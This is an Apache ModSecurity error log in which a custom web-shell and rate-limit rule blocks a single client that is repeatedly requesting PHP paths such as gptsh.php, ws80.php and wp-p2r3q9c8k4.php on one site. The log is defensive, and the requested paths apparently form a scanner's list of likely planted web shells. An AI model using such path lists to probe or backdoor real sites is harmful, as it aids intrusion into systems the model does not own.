[Sun Mar 29 01:30:48.407490 2026] [:error] [pid 39514:tid 39534] [client 158.23.144.198:4790] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/varb.php"] [unique_id "acgQSCkUyvlQod6qQu2K5wAAAMk"]
[Sun Mar 29 01:30:48.798924 2026] [:error] [pid 39427:tid 39445] [client 158.23.144.198:37564] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/varb.php"] [unique_id "acgQSFvLf0RDUqcYq-Y9LwAAAA0"]
[Sun Mar 29 01:30:49.187918 2026] [:error] [pid 39514:tid 39540] [client 158.23.144.198:37630] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/varb.php"] [unique_id "acgQSSkUyvlQod6qQu2K6gAAAM8"]
[Sun Mar 29 01:30:49.573365 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:49534] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acgQSSkUyvlQod6qQu2K7AAAANg"]
[Sun Mar 29 01:30:49.976039 2026] [:error] [pid 39514:tid 39546] [client 158.23.144.198:49504] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acgQSSkUyvlQod6qQu2K7gAAANU"]
[Sun Mar 29 01:31:35.043755 2026] [:error] [pid 39427:tid 39439] [client 158.23.144.198:45561] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "acgQd1vLf0RDUqcYq-Y9nwAAAAc"]
[Sun Mar 29 01:31:35.465971 2026] [:error] [pid 39429:tid 39505] [client 158.23.144.198:4748] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "acgQd08pSj6sqgZaItnWuAAAAJM"]
[Sun Mar 29 01:31:35.857130 2026] [:error] [pid 39429:tid 39494] [client 158.23.144.198:4763] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "acgQd08pSj6sqgZaItnWugAAAIg"]
[Sun Mar 29 01:31:36.258678 2026] [:error] [pid 39429:tid 39506] [client 158.23.144.198:37510] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "acgQeE8pSj6sqgZaItnWvgAAAJQ"]
[Sun Mar 29 01:31:36.663517 2026] [:error] [pid 39429:tid 39497] [client 158.23.144.198:58170] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "acgQeE8pSj6sqgZaItnWwAAAAIs"]
[Sun Mar 29 01:31:37.057453 2026] [:error] [pid 39427:tid 39432] [client 158.23.144.198:49493] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "acgQeVvLf0RDUqcYq-Y9pAAAAAA"]
[Sun Mar 29 01:31:37.446413 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:39994] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "acgQeSkUyvlQod6qQu2LZgAAAM4"]
[Sun Mar 29 01:31:37.844389 2026] [:error] [pid 39429:tid 39501] [client 158.23.144.198:37538] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "acgQeU8pSj6sqgZaItnWwgAAAI8"]
[Sun Mar 29 01:31:38.248433 2026] [:error] [pid 39514:tid 39524] [client 158.23.144.198:36521] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "acgQeikUyvlQod6qQu2LZwAAAMA"]
[Sun Mar 29 01:31:38.632427 2026] [:error] [pid 39514:tid 39534] [client 158.23.144.198:58118] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "acgQeikUyvlQod6qQu2LawAAAMk"]
[Sun Mar 29 01:31:39.034787 2026] [:error] [pid 39514:tid 39532] [client 158.23.144.198:61949] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "acgQeykUyvlQod6qQu2LbQAAAMc"]
[Sun Mar 29 01:31:39.440789 2026] [:error] [pid 39427:tid 39441] [client 158.23.144.198:37537] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "acgQe1vLf0RDUqcYq-Y9qQAAAAk"]
[Sun Mar 29 01:31:39.839658 2026] [:error] [pid 39427:tid 39439] [client 158.23.144.198:49480] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acgQe1vLf0RDUqcYq-Y9qwAAAAc"]
[Sun Mar 29 01:31:40.235953 2026] [:error] [pid 39514:tid 39531] [client 158.23.144.198:61914] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acgQfCkUyvlQod6qQu2LcAAAAMY"]
[Sun Mar 29 01:31:40.625025 2026] [:error] [pid 39514:tid 39530] [client 158.23.144.198:36521] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acgQfCkUyvlQod6qQu2LcgAAAMU"]
[Sun Mar 29 01:31:41.016946 2026] [:error] [pid 39427:tid 39452] [client 158.23.144.198:4828] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acgQfVvLf0RDUqcYq-Y9rwAAABQ"]
[Sun Mar 29 01:31:41.419439 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:43631] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "acgQfSkUyvlQod6qQu2LdQAAANg"]
[Sun Mar 29 01:31:41.819459 2026] [:error] [pid 39429:tid 39493] [client 158.23.144.198:4673] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "acgQfU8pSj6sqgZaItnWygAAAIc"]
[Sun Mar 29 01:31:42.204578 2026] [:error] [pid 39514:tid 39529] [client 158.23.144.198:4687] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "acgQfikUyvlQod6qQu2LeAAAAMQ"]
[Sun Mar 29 01:31:42.590735 2026] [:error] [pid 39514:tid 39530] [client 158.23.144.198:43608] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "acgQfikUyvlQod6qQu2LegAAAMU"]
[Sun Mar 29 01:31:42.988946 2026] [:error] [pid 39429:tid 39504] [client 158.23.144.198:49501] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "acgQfk8pSj6sqgZaItnWywAAAJI"]
[Sun Mar 29 01:31:43.386324 2026] [:error] [pid 39514:tid 39538] [client 158.23.144.198:39963] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "acgQfykUyvlQod6qQu2LgAAAAM0"]
[Sun Mar 29 01:31:43.791773 2026] [:error] [pid 39427:tid 39447] [client 158.23.144.198:4693] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "acgQf1vLf0RDUqcYq-Y9tAAAAA8"]
[Sun Mar 29 01:31:44.193648 2026] [:error] [pid 39429:tid 39503] [client 158.23.144.198:54940] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "acgQgE8pSj6sqgZaItnWzgAAAJE"]
[Sun Mar 29 01:31:44.579574 2026] [:error] [pid 39428:tid 39461] [client 158.23.144.198:50003] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "acgQgKXMrozFMIaP8nL3FAAAAEI"]
[Sun Mar 29 01:31:44.968344 2026] [:error] [pid 39429:tid 39492] [client 158.23.144.198:4685] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "acgQgE8pSj6sqgZaItnW0AAAAIY"]
[Sun Mar 29 01:31:45.374202 2026] [:error] [pid 39514:tid 39541] [client 158.23.144.198:49502] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "acgQgSkUyvlQod6qQu2LiAAAANA"]
[Sun Mar 29 01:31:45.771130 2026] [:error] [pid 39427:tid 39438] [client 158.23.144.198:37631] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "acgQgVvLf0RDUqcYq-Y9uQAAAAY"]
[Sun Mar 29 01:31:46.168585 2026] [:error] [pid 39514:tid 39540] [client 158.23.144.198:36525] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acgQgikUyvlQod6qQu2LjQAAAM8"]
[Sun Mar 29 01:31:46.549880 2026] [:error] [pid 39514:tid 39541] [client 158.23.144.198:58140] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acgQgikUyvlQod6qQu2LkAAAANA"]
[Sun Mar 29 01:31:46.953389 2026] [:error] [pid 39514:tid 39528] [client 158.23.144.198:49497] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acgQgikUyvlQod6qQu2LlAAAAMM"]
[Sun Mar 29 01:31:47.360865 2026] [:error] [pid 39429:tid 39491] [client 158.23.144.198:45553] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acgQg08pSj6sqgZaItnW1AAAAIU"]
[Sun Mar 29 01:31:47.754724 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:39981] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acgQgykUyvlQod6qQu2LmgAAANg"]
[Sun Mar 29 01:31:48.157745 2026] [:error] [pid 39514:tid 39538] [client 158.23.144.198:36522] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acgQhCkUyvlQod6qQu2LnwAAAM0"]
[Sun Mar 29 01:31:48.553074 2026] [:error] [pid 39514:tid 39541] [client 158.23.144.198:49526] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acgQhCkUyvlQod6qQu2LoQAAANA"]
[Sun Mar 29 01:31:48.944875 2026] [:error] [pid 39427:tid 39433] [client 158.23.144.198:37597] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acgQhFvLf0RDUqcYq-Y9wAAAAAE"]
[Sun Mar 29 01:31:49.336362 2026] [:error] [pid 39514:tid 39545] [client 158.23.144.198:4712] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acgQhSkUyvlQod6qQu2LowAAANQ"]
[Sun Mar 29 01:31:49.717744 2026] [:error] [pid 39514:tid 39541] [client 158.23.144.198:63726] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acgQhSkUyvlQod6qQu2LpgAAANA"]
[Sun Mar 29 01:31:50.122960 2026] [:error] [pid 39514:tid 39534] [client 158.23.144.198:45529] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acgQhikUyvlQod6qQu2LrQAAAMk"]
[Sun Mar 29 01:31:50.509322 2026] [:error] [pid 39429:tid 39502] [client 158.23.144.198:4719] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acgQhk8pSj6sqgZaItnW2AAAAJA"]
[Sun Mar 29 01:31:50.900701 2026] [:error] [pid 39429:tid 39486] [client 158.23.144.198:37573] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "acgQhk8pSj6sqgZaItnW2gAAAIA"]
[Sun Mar 29 01:31:51.305156 2026] [:error] [pid 39428:tid 39464] [client 158.23.144.198:61911] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "acgQh6XMrozFMIaP8nL3GgAAAEU"]
[Sun Mar 29 01:31:51.693436 2026] [:error] [pid 39427:tid 39439] [client 158.23.144.198:39976] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "acgQh1vLf0RDUqcYq-Y9xQAAAAc"]
[Sun Mar 29 01:31:52.101783 2026] [:error] [pid 39514:tid 39527] [client 158.23.144.198:4706] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "acgQiCkUyvlQod6qQu2LsQAAAMI"]
[Sun Mar 29 01:31:52.495541 2026] [:error] [pid 39429:tid 39501] [client 158.23.144.198:61897] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acgQiE8pSj6sqgZaItnW4gAAAI8"]
[Sun Mar 29 01:31:52.885602 2026] [:error] [pid 39514:tid 39538] [client 158.23.144.198:36534] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acgQiCkUyvlQod6qQu2LtgAAAM0"]
[Sun Mar 29 01:31:53.266991 2026] [:error] [pid 39429:tid 39498] [client 158.23.144.198:54949] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acgQiU8pSj6sqgZaItnW5AAAAIw"]
[Sun Mar 29 01:31:53.647946 2026] [:error] [pid 39514:tid 39528] [client 158.23.144.198:61937] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acgQiSkUyvlQod6qQu2LugAAAMM"]
[Sun Mar 29 01:31:54.030373 2026] [:error] [pid 39514:tid 39540] [client 158.23.144.198:49528] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "acgQiikUyvlQod6qQu2LuwAAAM8"]
[Sun Mar 29 01:31:54.412279 2026] [:error] [pid 39427:tid 39438] [client 158.23.144.198:61950] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "acgQilvLf0RDUqcYq-Y9ywAAAAY"]
[Sun Mar 29 01:31:54.797511 2026] [:error] [pid 39427:tid 39444] [client 158.23.144.198:37540] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "acgQilvLf0RDUqcYq-Y9zQAAAAw"]
[Sun Mar 29 01:31:55.196430 2026] [:error] [pid 39429:tid 39506] [client 158.23.144.198:49472] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "acgQi08pSj6sqgZaItnW5gAAAJQ"]
